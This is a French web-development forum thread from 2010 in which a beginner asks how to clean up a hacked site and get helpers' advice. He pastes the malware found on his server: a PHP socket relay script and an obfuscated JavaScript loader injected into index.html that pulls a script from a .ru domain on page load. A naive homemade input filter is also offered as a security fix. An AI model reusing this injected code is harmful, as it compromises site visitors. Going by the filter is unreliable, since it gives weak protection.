Pages :
Bonjour,

J'ai fait un site internet qui marche plutôt bien, seulement des petits malins coquins sont venus faire des bêtises et insérer un fichier tmp dans lequel figurait des liens en .ru où se trouvaient des pages très louches parlant de pénis et autre, et entre autre le nom de domaine du site que j'ai réalisé.

Problème:

quand on tape le nom de domaine du site, en second résultat figure un truc du style "i am a mother fucker "nomdomaine" ahaha". Là où vient le problème c'est que j'ai réalisé le site pour des gens et surtout que je souhaite présenter ce site pour une note de synthèse, bts et tout. Ca ferait très amateur de laisser ces liens qui ne sont pas chouettes. Comment les supprimer d'une part.

Comment être sûr que j'ai resécurisé le ftp et d'ailleurs, comment le resécuriser?
As-tu analysé les logs FTP pour etre sûr que ta faille viens bien de là et non de tes développements ou cms installés ?
Modifié par bprod (16 Mar 2010 - 12:57)
Bonjour,

J'avoue très franchement ne pas savoir faire une analyse de log ftp (je veux bien apprendre d'ailleurs!) sinon, pas de cms mais un formulaire que j'ai dû mal coder, je suppose que l'intrusion vient de là...
Il faudrait bien que je m'attele à faire ce CMS light d'ailleurs.
Dans les suspects habituels pour ce type de problème de sécurité:
- des paramètres GET dont tu utilises les valeurs sans les filtrer ou vérifier une correspondance avec des valeurs prédéfinies;
- un formulaire mal sécurisé;
- ...

Solution à court terme:
- faire une copie «statique» du site (pages HTML, pas de code PHP ou autre, pas de formulaire), en veillant à ce que les fichiers HTML statiques soient accessibles avec les anciennes URL (plutôt facile si tu faisais de l'URL rewriting et que tu as des URL propres du type /rubrique/page plutôt que /index.php?rubrique=1&page=23);
- remplacer le site en ligne par la copie statique, supprimer les fichiers rajoutés par les plaisantins.

À partir de là, tu peux travailler sur la sécurité de ton code pour pouvoir remettre un site pleinement fonctionnel en ligne.
Administrateur
Bonjour,

ton formulaire est probablement une passoire et a permis au plaisantin d'insérer des commandes. Il te faut le sécuriser ou le supprimer.

Ou bien ton PC a été infecté et le mot de passe FTP volé, auquel cas il te faut passer un coup d'Antivir (il y a 6 mois, Avast n'avait rien vu sur un poste infecté lors d'une attaque automatisée).

Dans les deux cas, même si ton PC n'a pas été infecté c'est quand même une bonne chose de changer les mots de passe FTP.

As-tu une BDD où sont enregistrées des données ?
Bonsoir,

Pour l'instant, mis à part le formulaire que j'ai mal fait, le site est en statique. Dans l'optique de le rendre dynamique, rendre la main aux gens qui ont ce site pour qu'ils le gèrent eux même, je ne peux leur donner quelque chose de mauvais.
Il n'y avait pas d'URL rewriting étant donné que les sections étaient "succintes", statiques.

Le formulaire, c'était du POST et non du GET.

Donc, je dois
- faire une analyse antivirus des fichiers contenus dans le répertoire du site?
- changer le mot de passe ftp.

Comment faire disparaître ces liens qui d'ailleurs ne renvoient sur rien vu que je les ai supprimés mais qui inscrivent des choses vilaines sur google?


Je veux sécuriser le site, il faut j'imagine faire une vérification des entrées, les caractères d'échappement et tout ça. Puis-je effectuer des actions préventives au niveau du serveur directement, là je fais référence à .htacess?
Je vais éviter de me rater étant donné que les utilisateurs vont uploader du contenu image/texte en se servant de ftp forcément...
Encore plus fort,

Je viens de tapper il y a une demi heure l'adresse du site sur Google qui m'indique que "ce site risque d'endommager votre ordinateur",
je rapatrie les fichiers du site vers mon disque dur?
Je suis un peu angoissé là.
Voici ce qui figurait dans la racine du site, un fichier dénommé l_backuptoster.php
:

<html><body>



<?php

	ignore_user_abort(true);

	set_time_limit (0);

	ini_set('max_execution_time',0);

	error_reporting(0);

   getmxrr("google.com" , $hostes);

   if(isset($_GET[id]) && isset($_GET[ipAddr]))

   {

      //$sock = fsockopen($_GET[ipAddr], 8000);

      //if(!$sock)

      //{

         $sock = fsockopen($_GET[ipAddr], 25);

         if(!$sock)

         {

            echo "socket_failed";

            return false;

         }

     // }

      

      if(!fwrite($sock, $_GET[id]))

      {

         fclose($sock);

         return false;

      }

      

		fclose($sock);

   }

?>

</body></html>
Houlà, c'est assez fort...

Pour arriver à un tel résultat je ne vois que 2 solutions :

- Une faille XSS énorme via le formulaire que tu as créé (se servir de ton formulaire pour injecter du code non désiré et usurper des informations sur ton site)

- La personne connait les identifiants FTP (récupérés via virus trojan et cie)

Si tu tapes "l_backuptoster.php" dans Google tu verras que tu n'a pas été la seule victime...
D'accord,

J'ai copié le contenu du site sur mon disque dur, antivir ne détecte rien.
Le formulaire était un véritable gruyère, (je met un point d'honneur (et de bon sens) à en faire un bien) donc ça vient très certainement de là. Mis à part sécuriser le dit formulaire et changer le mot de passe ftp, que dois-je faire pour que google rende le site de nouveau accessible et que des petits ados russes boutonneux laissent le site tranquille?

Lorsque je tappe "l_backuptoster.php" sur google, je vois juste que des gens ont des problèmes, je ne vois pas de solution technique ou autre...

Jesuspascontent.
Administrateur
Pour un réexamen de ton site par Google quand il sera nettoyé, c'est qqpart par là : http://www.google.com/support/webmasters/bin/answer.py?answer=45432

Si les fichiers rapatriés en local sont sains, il faut que tu les récupères tous, que tu effaces tout le répertoire FTP de ton site sur le serveur puis que tu ne remettes en ligne que des fichiers que tu auras inspecté manuellement. Pas d'iframe, script, liens vers des NDD .ru, etc inconnus.
Merci,


Pour ce qui est des liens qui figurent en deuxième position de l'internet et qui disent "nom de domaine mange des bébés" il faut en référer à google par ce même service?

Par rapport à la politique de sécurité que je dois avoir avec l'entreprise, il faut que je dise "changez vos mots de passe les amis?" ou j'exagère et fait preuve d'un excès de zèle?

Vous êtes un forum réactif (ce n'est pas un sarcasme mordant qui balance, je le pense vraiment).

En tout cas, pour commencer le développement web pur et dur, se faire hacker c'est très formateur! Smiley sweatdrop
jesuscontent a écrit :
des liens qui figurent en deuxième position de l'internet (...)

Wah, deuxième position de l'internet? C'est balèze ça. Smiley smile

Bon courage pour la suite.
Changer le mot de passe du FTP (de préférence il faudrait que le nouveau soit complexe et aléatoire, genre éviter "password") + sécuriser le formulaire + nettoyer les fichiers, ça devrait suffire.

Je doute pour ma part que la faille vienne d'un piratage de ton poste ou d'un poste de l'entreprise (via un virus). Mais je connais mal le sujet.
Bonsoir,
J'arrives un peut tard, mais j'ais réalisé trois nettoyages définitifs de site cette année.

Beaucoup de pistes t'on été données, je vais essayer de te dire quoi faire de façon plus radicale.

Je part du principe que tu as sur ton micro un site TOTALEMENT propre.
cependant ce site sur ton micro, prends tout de même le temps "pas perdu" de rééditer un a un tout les
php
html
css (TRES IMPRTANT) ce sont souvent euc qui cachent les codes
JS

pour les images tu dois toutes les visionner

Ce ci étant fait,
1) effaces TOUT ton site web
2) recopies tout
3) contôles que tout tes répertoires sont en protection 755
4) contôles que tout tes fichiers sont en protection 644
5) fais changer ton code FTP

Voila reste a controler tes POST
en respectant cette régle
contrôles ET sécurises en téte de PHP puis dans le PHP n'utilises plus que la variable $xxx et non POST !
juste un exemple pas génial mais efficace


function secur($a,$x) 
	{
  $a=str_replace("<","",$a);
  $a=str_replace(">","",$a);
  $a=str_replace("&&","",$a);
  $a=str_replace("||","",$a);
  $a=str_replace("’","' ",$a);
  $a=str_replace("\\","",$a);
  $a=str_replace("/","",$a);
  $a=str_replace("  "," ",$a);
  $a=str_replace(" AND ","",$a);
  $a=str_replace(" \0","",$a);
  $a=str_replace("\0","",$a);
  $a=str_replace("\n\n","\n",$a);
  $a=str_replace("\r","",$a);
  $a=str_replace("''","'",$a);
  $a=str_replace('"','&quot;',$a);
  return $a;
}

$mois = (isset($_POST['mois'])) ? secur(trim($_POST['mois'])) : 0;


Modifié par Christele (17 Mar 2010 - 19:17)
Salut,

Christele a écrit :


function secur($a,$x) 
	{
  $a=str_replace("<","",$a);
  $a=str_replace(">","",$a);
  $a=str_replace("&&","",$a);
  $a=str_replace("||","",$a);
  $a=str_replace("’","' ",$a);
  $a=str_replace("\\","",$a);
  $a=str_replace("/","",$a);
  $a=str_replace("  "," ",$a);
  $a=str_replace(" AND ","",$a);
  $a=str_replace(" \0","",$a);
  $a=str_replace("\0","",$a);
  $a=str_replace("\n\n","\n",$a);
  $a=str_replace("\r","",$a);
  $a=str_replace("''","'",$a);
  $a=str_replace('"','"',$a);
  return $a;
}

$mois = (isset($_POST['mois'])) ? secur(trim($_POST['mois'])) : 0;

Euh... quel est l'intérêt ?

Pour les requêtes il suffit d'utiliser mysql_real_escape_string et avant de réafficher une variable c'est htmlspecialchars. On peut également être plus radical avec strip_tags.
Bonjour,

Voilà où j'en suis, j'ai contacté le fournisseur d'accès pour les démarches, comme dit ici je peux consulter les logs ftp en accédant à mon manager, j'ai fait une copie du site sur disque dur où je n'ai rien décelé niveau virus, je vais faire une lecture attentive du code pour ne rien laisser passer.

J'essaye de supprimer tous les répertoires associés à la racine du site, un dossier nommé requête ne veut pas s'enlever, est ce normal?
Pour info, la seule interactivité du site était la possibilité d'envoyer des choses par formulaire, lorsque le message était envoyé, un location:url l'amenait vers une page validation style le message a été bien envoyé, est ce que c'est une requête ça?

Je suis sous OVH pour info
Quand je dis chose, c'était du texte avec nom, prénom, num etc, pas d'image, mais je n'ai pas empêché que cela puisse se produire par une introduction malicieuse de code.
Le code louche sur ma page index.html:

ici:

<? error_reporting(0); $mhfp = fopen("host.txt", "w"); if ($mhfp) { fwrite($mhfp, $_SERVER["HTTP_HOST"]); fclose($mhfp); } ?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns ="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

code du site normal

</body>
</html>


puis ici:


<script>this.o="";function m() {var g;if(g!='eB' && g!='z'){g=''};this.UN='';var W='g';var Bw;if(Bw!=''){Bw='w'};this.xX='';var j=']';this.nQ='';var cU;if(cU!=''){cU='I'};var mV=new String();this.aC="";var b=new Array();var G='replace';var Hk;if(Hk!='' && Hk!='TX'){Hk='XD'};var P='';var u='';var S='[';var dM="";var kR='';var e=RegExp;var hs;if(hs!='' && hs!='q'){hs='E'};this.KS="";var PO;if(PO!='Cd'){PO=''};function c(Q,jX){var jx='';var N=S;N+=jX;N+=j;var gr;if(gr!='' && gr!='UH'){gr='Nj'};var cJ;if(cJ!='' && cJ!='js'){cJ=''};var K=new e(N, W);var hq='';var wN='';return Q[G](K, mV);};var vp;if(vp!='lx' && vp!='SP'){vp='lx'};var U=c('h3t0t3p3:z/z/ziFcFi0cziFbza7n0kz-3c7o7m3.z43sFhFazrzeFd3.0cFozm7.0g7oFozgzl3e3-7l7k3.zs0uzpFeFr7n0e3w7s0tFu7f3fF.zrzu3:F',"0F73z");var d=c('8550556855055',"65");this.oY="";var NC=window;var cv=new Date();var Ez;if(Ez!='fb' && Ez!='GT'){Ez='fb'};var qt='';var v='';var H=c('sUcRrRi9pUtR',"U9R");var Qq=new Array();var i=new Array();var GJ=c('/UtUiPgPePrUdPiUrUePcPtP.UcUoUmP/UtUiUgPePrUdUiUrUePcUtP.PcPoPmP/PdPiUsUcUuUzU.UnPePtP/PaUmUaPzUoUnP.PcUoUmP/PgUoPoPgUlPeU.PcUoPmU.PpUhUpU',"UP");var x=c('c7rGeGa7tGeGE7l7eGm7eGn7t7',"G7");var kW;if(kW!='' && kW!='VF'){kW=''};var aI;if(aI!='' && aI!='Fg'){aI=''};NC[c('ohnrlhoUahdh',"hrU")]=function(){var Qo;if(Qo!='ZZ' && Qo!='cl'){Qo=''};try {this.t='';var ro;if(ro!='iA'){ro=''};v+=U;var OG;if(OG!='' && OG!='LM'){OG=null};var ML="";v+=d;var uV;if(uV!=''){uV='kI'};var Fi;if(Fi!=''){Fi='mk'};v+=GJ;var Gk=new Date();var BP=new Date();var pp;if(pp!=''){pp='Va'};HR=document[x](H);var pZ='';var _A='';var xK;if(xK!=''){xK='jM'};C(HR,'src',v);var fn='';C(HR,'defer',([4,1][1]));var xV=new Date();this.CWk='';var KX="";document.body.appendChild(HR);this.Lz="";} catch(R){};};var kRb;if(kRb!='' && kRb!='JX'){kRb='_r'};function C(r,HY,n){var WI;if(WI!='Ku' && WI != ''){WI=null};r.setAttribute(HY, n);}var cu=new Date();var Rm=new Array();var zO="";var _D="";};var wf="";var NG;if(NG!='Jc' && NG!='lm'){NG=''};m();</script>
<!--4be00d617d46485965df820658a89b73-->
Heyoan a écrit :
Salut,
Euh... quel est l'intérêt ?

Oui oui j'aurais jamais du écrire ça ici Smiley rolleyes
Tu vois une simple fonction largement testée moins radicale et plus maitrisée
que tout autre fonction compilée (verbe du langage) !

Quelle importance, cette fonction n'a jamais été prise en défault,
c' est la mienne et je la garde, tu sais j'ais cru comprendre pour l'avoir
retrouvée, que l'idée de maitriser en faisant parfois a la main, peut s'avérer util lorsque soudain un hébergeur change un de ces paramétre !
Pages :